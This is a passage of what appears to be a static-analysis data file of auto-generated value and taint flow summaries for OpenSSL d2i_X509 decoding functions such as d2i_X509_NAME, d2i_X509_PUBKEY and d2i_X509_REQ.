["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME_ENTRY", "(X509_NAME_ENTRY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY", "(X509_PUBKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_bio", "(BIO *,X509_PUBKEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_PUBKEY_fp", "(FILE *,X509_PUBKEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ", "(X509_REQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_INFO", "(X509_REQ_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[1]", "Argument[**1]", "value", 